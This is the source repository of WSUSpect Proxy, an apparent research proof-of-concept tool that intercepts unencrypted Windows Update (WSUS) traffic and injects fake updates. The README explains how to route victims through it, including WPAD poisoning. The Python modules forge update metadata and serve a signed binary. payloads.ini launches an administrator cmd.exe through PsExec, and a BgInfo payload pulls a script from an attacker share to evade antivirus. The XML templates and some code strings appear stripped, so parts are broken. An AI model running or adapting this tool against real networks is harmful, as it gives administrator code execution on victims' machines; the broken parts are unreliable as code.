├── .gitignore
├── LICENSE.txt
├── README.md
├── intercepting_proxy.py
├── payloads
└── payloads.ini
├── requirements.txt
├── screenshots
├── fakeupdate.png
└── output.png
├── templates
├── SyncUpdatesResult.xml
├── bundle_extended_xml1.xml
├── bundle_extended_xml2.xml
├── bundle_xml.xml
├── install_extended_xml1.xml
├── install_extended_xml2.xml
└── install_xml.xml
├── update_modifier.py
└── wsuspect_proxy.py
/.gitignore:
--------------------------------------------------------------------------------
1 | *.exe
2 | *.pyc
3 | __pycache__
--------------------------------------------------------------------------------
/LICENSE.txt:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2015 Context Information Security Ltd.
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in
13 | all copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | THE SOFTWARE.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # WSUSpect Proxy
2 |
3 | Written by Paul Stone and Alex Chapman, [Context Information Security](http://www.contextis.com)
4 |
5 | ## Summary
6 |
7 | This is a proof of concept script to inject 'fake' updates into non-SSL WSUS traffic.
8 | It is based on our BlackHat USA 2015 presentation, 'WSUSpect – Compromising the Windows Enterprise via Windows Update'
9 |
10 | - White paper: http://www.contextis.com/documents/161/CTX_WSUSpect_White_Paper.pdf
11 | - Slides: http://www.contextis.com/documents/162/WSUSpect_Presentation.pdf
12 |
13 | ## Prerequisites
14 | You'll need the Python Twisted library installed. You can do this by running:
15 | ```
16 | pip install twisted
17 | ```
18 |
19 | You also need to place a Microsoft-signed binary (e.g. [PsExec](https://technet.microsoft.com/en-gb/sysinternals/bb897553.aspx)) into the payloads directory.
20 | This script has been tested on Python 2.7. It does not yet work with Python 3.x; contributions are welcome.
21 |
22 | ## Usage
23 | To test this out, you'll need a target Windows 7 or 8 machine that is configured to receive updates
24 | from a WSUS server over unencrypted HTTP. The machine should be configured to proxy through the
25 | machine running this script. This can be done by manually changing the proxy settings or via other
26 | means such as WPAD poisoning (e.g. using [Responder](https://github.com/SpiderLabs/Responder))
27 | ```
28 | python wsuspect_proxy.py payload_name [port]
29 | ```
30 | An example payload for PsExec is set up that will launch cmd.exe running as Administrator:
31 | ```
32 | python wsuspect_proxy.py psexec
33 | ```
34 |
35 | If you are having problems getting the script to work we'd recommend using a GUI proxy tool
36 | such as Burp (and configuring Burp to use this script as a proxy) to see if the update XML
37 | is being correctly inserted.
38 |
39 | ## Customisation
40 | Modify payloads/payloads.ini to change the payloads and their arguments.
41 |
42 | ## Known Issues
43 | - Currently doesn't support Windows 10 targets
44 | - Doesn't yet support Python 3
45 |
46 | ## Screenshots
47 |
48 | 
49 |
50 | 
51 |
--------------------------------------------------------------------------------
/intercepting_proxy.py:
--------------------------------------------------------------------------------
1 | # The MIT License (MIT)
2 | #
3 | # Copyright (c) 2015 Context Information Security Ltd.
4 | #
5 | # Permission is hereby granted, free of charge, to any person obtaining a copy
6 | # of this software and associated documentation files (the "Software"), to deal
7 | # in the Software without restriction, including without limitation the rights
8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | # copies of the Software, and to permit persons to whom the Software is
10 | # furnished to do so, subject to the following conditions:
11 | #
12 | # The above copyright notice and this permission notice shall be included in
13 | # all copies or substantial portions of the Software.
14 | #
15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | # THE SOFTWARE.
22 |
23 | try:
24 | from cStringIO import StringIO
25 | except:
26 | from io import BytesIO as StringIO
27 |
28 | try:
29 | from urlparse import urlparse, urlunparse
30 | except:
31 | from urllib.parse import urlparse, urlunparse
32 |
33 | from twisted.internet import reactor
34 | from twisted.python.log import startLogging
35 | from twisted.web import server, resource, proxy, http
36 | from twisted.python.filepath import FilePath
37 |
38 |
39 | #ProxyClient(twisted.web.http.HTTPClient)
40 | class InterceptingProxyClient(proxy.ProxyClient):
41 | def handleResponsePart(self, buffer):
42 | #Buffer the output if we intend to modify it
43 | if self.father.has_response_modifiers():
44 | self.father.response_buffer.write(buffer)
45 | else:
46 | proxy.ProxyClient.handleResponsePart(self, buffer)
47 |
48 | def handleResponseEnd(self):
49 | #Process the buffered output if we are modifying it
50 | if self.father.has_response_modifiers():
51 | if not self._finished:
52 | #Replace the StringIO with a string for the modifiers
53 | data = self.father.response_buffer.getvalue()
54 | self.father.response_buffer.close()
55 | self.father.response_buffer = data
56 |
57 | #Do editing of response headers / content here
58 | self.father.run_response_modifiers()
59 | self.father.responseHeaders.setRawHeaders('content-length', [len(self.father.response_buffer)])
60 | self.father.write(self.father.response_buffer)
61 | proxy.ProxyClient.handleResponseEnd(self)
62 |
63 |
64 | class InterceptingProxyClientFactory(proxy.ProxyClientFactory):
65 | noisy = False
66 | protocol = InterceptingProxyClient
67 |
68 | #ProxyRequest(twisted.web.http.Request)
69 | class InterceptingProxyRequest(proxy.ProxyRequest):
70 | def __init__(self, *args, **kwargs):
71 | proxy.ProxyRequest.__init__(self, *args, **kwargs)
72 | self.response_buffer = StringIO()
73 | self.request_buffer = StringIO()
74 | self.modifiers = self.channel.factory.modifiers
75 |
76 | def run_request_modifiers(self):
77 | if not self.has_request_modifiers():
78 | return
79 |
80 | if self.requestHeaders.hasHeader('content-length'):
81 | self.request_buffer = self.content.read()
82 |
83 | for m in self.modifiers:
84 | m.modify_request(self)
85 |
86 | if self.requestHeaders.hasHeader('content-length'):
87 | self.content.seek(0,0)
88 | self.content.write(self.request_buffer)
89 | self.content.truncate()
90 | self.requestHeaders.setRawHeaders('content-length', [len(self.request_buffer)])
91 |
92 | def has_request_modifiers(self):
93 | ret = False
94 | for m in self.modifiers:
95 | if m.will_modify_request(self):
96 | ret = True
97 | return ret
98 |
99 | def has_response_modifiers(self):
100 | ret = False
101 | for m in self.modifiers:
102 | if m.will_modify_response(self):
103 | ret = True
104 | return ret
105 |
106 | def run_response_modifiers(self):
107 | for m in self.modifiers:
108 | m.modify_response(self)
109 |
110 | def has_response_server(self):
111 | for m in self.modifiers:
112 | if m.will_serve_response(self):
113 | return True
114 | return False
115 |
116 | def serve_resource(self):
117 | body = None
118 | for m in self.modifiers:
119 | if m.will_serve_response(self):
120 | body = m.get_response(self)
121 | break
122 | if not body:
123 | raise Exception('Nothing served a resource')
124 | self.setHeader('content-length', str(len(body)))
125 | if self.method == 'HEAD':
126 | self.write('')
127 | else:
128 | self.write(body)
129 | self.finish()
130 |
131 | def process(self):
132 | host = None
133 | port = None
134 | parsed_uri = urlparse(self.uri)
135 | self.uri = urlunparse(('', '', parsed_uri.path, parsed_uri.params, parsed_uri.query, parsed_uri.fragment)) or "/"
136 |
137 | if self.has_request_modifiers():
138 | self.run_request_modifiers()
139 |
140 | if self.has_response_server():
141 | self.serve_resource()
142 | return
143 |
144 | protocol = parsed_uri.scheme or 'http'
145 | host = host or parsed_uri.netloc
146 | port = port or parsed_uri.port or self.ports[protocol]
147 |
148 | headers = self.getAllHeaders().copy()
149 | if 'host' not in headers:
150 | headers['host'] = host
151 |
152 | if ':' in host:
153 | host,_ = host.split(':')
154 |
155 | self.content.seek(0, 0)
156 | content = self.content.read()
157 |
158 | clientFactory = InterceptingProxyClientFactory(self.method, self.uri, self.clientproto, headers, content, self)
159 | self.reactor.connectTCP(host, port, clientFactory)
160 |
161 | #Proxy(twisted.web.http.HTTPChannel)
162 | class InterceptingProxy(proxy.Proxy):
163 | requestFactory = InterceptingProxyRequest
164 |
165 | class InterceptingProxyFactory(http.HTTPFactory):
166 | protocol = InterceptingProxy
167 |
168 | def add_modifier(self, m):
169 | self.modifiers.append(m)
170 |
171 | def __init__(self, modifier, *args, **kwargs):
172 | http.HTTPFactory.__init__(self, *args, **kwargs)
173 | self.modifiers = []
174 | self.add_modifier(modifier)
--------------------------------------------------------------------------------
/payloads/payloads.ini:
--------------------------------------------------------------------------------
1 | # WSUSpect payload parameters
2 | # Place MS-signed update binaries in the same directory as this file
3 |
4 | [psexec]
5 | payload = PsExec.exe
6 | args = /accepteula -i 1 cmd
7 | title = Super important security update MS015-ABC
8 | description = Do bad things to your computer!
9 |
10 | [bginfo]
11 | payload = BgInfo.exe
12 | args = \\attacker-ip\unauth_share\bginfo\script.bgi /nolicprompt /timer:0
13 | title = BgInfo payload
14 | description = Bypass AV that blocks PsExec
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | twisted
2 |
--------------------------------------------------------------------------------
/screenshots/fakeupdate.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pdjstone/wsuspect-proxy/a1725759512225e40e1634dbf43df6c189cc0ff1/screenshots/fakeupdate.png
--------------------------------------------------------------------------------
/screenshots/output.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pdjstone/wsuspect-proxy/a1725759512225e40e1634dbf43df6c189cc0ff1/screenshots/output.png
--------------------------------------------------------------------------------
/templates/SyncUpdatesResult.xml:
--------------------------------------------------------------------------------
1 |
2 | ${bundle_id}
3 |
4 | ${deploy_bundle_id}
5 | Bundle
6 | true
7 | 2015-04-15
8 | 0
9 | 0
10 | 0
11 | 0
12 |
13 | true
14 | ${bundle_xml}
15 |
16 |
17 | ${install_id}
18 |
19 | ${deploy_install_id}
20 | Install
21 | true
22 | 2015-04-15
23 | 0
24 | 0
25 | 0
26 | 0
27 |
28 | true
29 | ${install_xml}
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/templates/bundle_extended_xml1.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | ${file_sha256}
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/templates/bundle_extended_xml2.xml:
--------------------------------------------------------------------------------
1 |
2 | en
3 | fake-${bundle_id}-x64
4 |
--------------------------------------------------------------------------------
/templates/bundle_xml.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/templates/install_extended_xml1.xml:
--------------------------------------------------------------------------------
1 |
2 | http://support.microsoft.com
3 | MS15-041
4 | 3037581
5 |
--------------------------------------------------------------------------------
/templates/install_extended_xml2.xml:
--------------------------------------------------------------------------------
1 |
2 | en
3 | ${update_title}
4 | ${update_description}
5 | This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.
6 | http://support.microsoft.com/kb/3037581
7 | http://support.microsoft.com
8 |
--------------------------------------------------------------------------------
/templates/install_xml.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/update_modifier.py:
--------------------------------------------------------------------------------
1 | # The MIT License (MIT)
2 | #
3 | # Copyright (c) 2015 Context Information Security Ltd.
4 | #
5 | # Permission is hereby granted, free of charge, to any person obtaining a copy
6 | # of this software and associated documentation files (the "Software"), to deal
7 | # in the Software without restriction, including without limitation the rights
8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | # copies of the Software, and to permit persons to whom the Software is
10 | # furnished to do so, subject to the following conditions:
11 | #
12 | # The above copyright notice and this permission notice shall be included in
13 | # all copies or substantial portions of the Software.
14 | #
15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | # THE SOFTWARE.
22 |
23 | import random
24 | import uuid
25 | import re
26 | import hashlib
27 | import base64
28 | import os
29 | import string
30 | from os.path import splitext, basename
31 | try:
32 | from urlparse import urlparse
33 | except:
34 | from urllib.parse import urlparse
35 |
36 | from xml.sax.saxutils import escape
37 |
38 | class FakeWsusUpdate(object):
39 | def __init__(self, payload, args, title, description):
40 | self.payload_path = os.path.join('payloads', payload)
41 | self.payload_args = args
42 | self.title = title
43 | self.description = description
44 |
45 | # These can be any number that doesn't clash with an existing update ID
46 | self.bundle_id = 17999990
47 | self.install_id = self.bundle_id + 1
48 |
49 | # Not sure of the difference between above IDs and 'deploy' IDs
50 | self.deploy_bundle_id = 899990
51 | self.deploy_install_id = self.deploy_bundle_id + 1
52 |
53 | # The payload will be downloaded to a temporary file with this name
54 | self.orig_filename = 'Windows-KB890830-V5.22.exe'
55 |
56 | if not os.path.exists(self.payload_path):
57 | raise Exception('File %s not found - you need to have an MS-signed executable' % self.payload_path)
58 |
59 | self.__gen_file_hashes()
60 | self.download_path = self.__gen_download_path()
61 |
62 | def __gen_file_hashes(self):
63 | hash1 = hashlib.sha1()
64 | hash256 = hashlib.sha256()
65 |
66 | with open(self.payload_path, 'rb') as f:
67 | data = f.read()
68 | hash1.update(data)
69 | hash256.update(data)
70 |
71 | self.payload_sha1 = base64.b64encode(hash1.digest())
72 | self.payload_sha256 = base64.b64encode(hash256.digest())
73 | self.payload_sha1_hex = hash1.hexdigest()
74 |
75 | def __gen_download_path(self):
76 | # The download URL can be anything, since we're proxying everything
77 | # But we'll make it look like a genuine WSUS URL
78 | # Beware that the WU heavily caches URLs - if you reuse a URL it's
79 | # downloaded before it will always use the cached version
80 | _, ext = splitext(basename(self.payload_path))
81 | hash = self.payload_sha1_hex.upper() # maybe we should use a random hash?
82 | path = '/Content/%s/%s%s' % (hash[-2:], hash, ext)
83 | return path
84 |
85 | def download_url(self, wsus_host):
86 | url = 'http://%s%s' % (wsus_host, self.download_path)
87 | return url
88 |
89 | def get_data(self):
90 | with open(self.payload_path, 'rb') as f:
91 | data = f.read()
92 | return data
93 |
94 | class WsusXmlModifier(object):
95 | WSUS_SOAP_ACTION = "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService"
96 |
97 | def __init__(self, fake_update, template_dir = 'templates'):
98 | self.update = fake_update
99 | self.template_dir = template_dir
100 |
101 | def will_serve_response(self, req):
102 | parsed_uri = urlparse(req.uri)
103 | return parsed_uri.path == self.update.download_path
104 |
105 | def will_modify_response(self, req):
106 | action = req.getAllHeaders().get('soapaction', None)
107 | return action and WsusXmlModifier.WSUS_SOAP_ACTION in action
108 |
109 | def will_modify_request(self, req):
110 | action = req.getAllHeaders().get('soapaction', None)
111 | return action and WsusXmlModifier.WSUS_SOAP_ACTION in action
112 |
113 | def get_response(self, req):
114 | if req.method == 'GET':
115 | print('Serving payload %s (%s)' % (basename(self.update.payload_path), self.update.title))
116 | req.setHeader('content-type', 'application/octet-stream')
117 | return self.update.get_data()
118 |
119 | def modify_request(self, request):
120 | headers = request.getAllHeaders().copy()
121 |
122 | # Remove compression header
123 | if headers.get('accept-encoding', '') == 'xpress':
124 | request.requestHeaders.setRawHeaders('accept-encoding', ['utf-8'])
125 |
126 | content = request.request_buffer
127 | if '': self.__modify_sync_update_response,
134 | 'true' in content:
140 | return
141 |
142 | for search, fn in inject_fns.iteritems():
143 | if search in content:
144 | content = fn(content, request)
145 | request.response_buffer = content
146 |
147 | def __modify_extended_update_response(self, content, request):
148 | print('Adding fake update metadata to GetExtendedUpdateInfoResult')
149 | update_xml = self.__gen_extended_update_response_xml()
150 | file_xml = self.__gen_file_location_xml(request.getAllHeaders()['host'])
151 |
152 | if '' in content:
153 | # There are real updates in the WSUS response, so add ours to the end
154 | content = content.replace('', '%s' % update_xml)
155 | else:
156 | # The WSUS server didn't return any updates, so add our own
157 | content = content.replace(
158 | '',
159 | '%s' % update_xml)
160 |
161 | if '' in content:
162 | content = content.replace('', '%s' % file_xml)
163 | else:
164 | content = content.replace('', '%s' % file_xml)
165 | return content
166 |
167 | def __gen_file_location_xml(self, host):
168 | url = self.update.download_url(host)
169 | hash = self.update.payload_sha1
170 | xml = '%s%s' % (hash, url)
171 | return xml
172 |
173 | def __gen_extended_update_response_xml(self):
174 | update = self.update
175 | fields = {
176 | 'filename': update.payload_path,
177 | 'prog_args': update.payload_args,
178 | 'file_len': os.path.getsize(update.payload_path),
179 | 'file_sha1': update.payload_sha1,
180 | 'file_sha256': update.payload_sha256,
181 | 'orig_filename' :update.orig_filename,
182 | 'bundle_id': update.bundle_id,
183 | 'update_title': update.title,
184 | 'update_description': update.description
185 | }
186 |
187 | updates = (
188 | (update.bundle_id, self.get_template('bundle_extended_xml1.xml')),
189 | (update.install_id, self.get_template('install_extended_xml1.xml')),
190 | (update.bundle_id, self.get_template('bundle_extended_xml2.xml')),
191 | (update.install_id, self.get_template('install_extended_xml2.xml'))
192 | )
193 |
194 | xml = ''
195 | for id, xml_template in updates:
196 | xml_part = xml_template.substitute(fields)
197 | xml += '%s%s\n' % (id, escape(xml_part))
198 | return xml
199 |
200 | def __remove_fake_ids(self, content):
201 | # remove our injected update IDs from request to real WSUS server
202 | # if we don't the WSUS server will tell the client to 'forget'
203 | # about our fake IDs
204 | injected_ids = (self.update.bundle_id, self.update.install_id)
205 | regex = '(%s)' % '|'.join(map(str, injected_ids))
206 | content = re.sub(regex, '', content)
207 | return content
208 |
209 | def __modify_sync_update_response(self, content, request):
210 | print('Adding fake update metadata to SyncUpdatesResult')
211 | data = self.__gen_sync_update_response_xml()
212 | if '' in content:
213 | content = content.replace('', '%s' % data)
214 | else:
215 | content = content.replace('', '%s' % data)
216 | return content
217 |
218 | def __gen_sync_update_response_xml(self):
219 | update = self.update
220 | guids = {
221 | 'install_guid': uuid.uuid4(),
222 | 'bundle_guid': uuid.uuid4()
223 | }
224 |
225 | fields = {
226 | 'bundle_id': update.bundle_id,
227 | 'install_id': update.install_id,
228 | 'deploy_bundle_id': update.deploy_bundle_id,
229 | 'deploy_install_id': update.deploy_install_id,
230 | 'install_xml': escape(self.get_template('install_xml.xml').substitute(guids)),
231 | 'bundle_xml': escape(self.get_template('bundle_xml.xml').substitute(guids))
232 | }
233 | xml = self.get_template('SyncUpdatesResult.xml').substitute(fields)
234 | return xml
235 |
236 | def get_template(self, filename):
237 | path = '%s/%s' % (self.template_dir, filename)
238 | with open(path, 'r') as f:
239 | s = f.read()
240 | return string.Template(s)
--------------------------------------------------------------------------------
/wsuspect_proxy.py:
--------------------------------------------------------------------------------
1 | # The MIT License (MIT)
2 | #
3 | # Copyright (c) 2015 Context Information Security Ltd.
4 | #
5 | # Permission is hereby granted, free of charge, to any person obtaining a copy
6 | # of this software and associated documentation files (the "Software"), to deal
7 | # in the Software without restriction, including without limitation the rights
8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | # copies of the Software, and to permit persons to whom the Software is
10 | # furnished to do so, subject to the following conditions:
11 | #
12 | # The above copyright notice and this permission notice shall be included in
13 | # all copies or substantial portions of the Software.
14 | #
15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | # THE SOFTWARE.
22 |
23 | import os.path
24 | import sys
25 | try:
26 | import configparser
27 | except ImportError:
28 | import ConfigParser as configparser
29 |
30 | from twisted.internet import reactor
31 | from twisted.python.log import startLogging
32 |
33 | from intercepting_proxy import InterceptingProxyFactory
34 | from update_modifier import WsusXmlModifier, FakeWsusUpdate
35 |
36 | PROXY_PORT = 8080
37 |
38 | config = configparser.RawConfigParser()
39 | config.read(os.path.join('payloads', 'payloads.ini'))
40 |
41 | if len(sys.argv) < 2:
42 | print('Usage: %s payload_name [port]' % sys.argv[0])
43 | print('e.g. %s psexec' % sys.argv[0])
44 | sys.exit(-1)
45 |
46 | port = PROXY_PORT
47 | if len(sys.argv) > 2:
48 | port = int(sys.argv[2])
49 |
50 | payload_name = sys.argv[1]
51 | params = dict(config.items(payload_name))
52 | psexec_update = FakeWsusUpdate(**params)
53 |
54 | wsus_injector = WsusXmlModifier(psexec_update)
55 | proxy = InterceptingProxyFactory(wsus_injector)
56 |
57 | startLogging(sys.stdout)
58 | reactor.listenTCP(port, proxy)
59 | reactor.run()
60 |
--------------------------------------------------------------------------------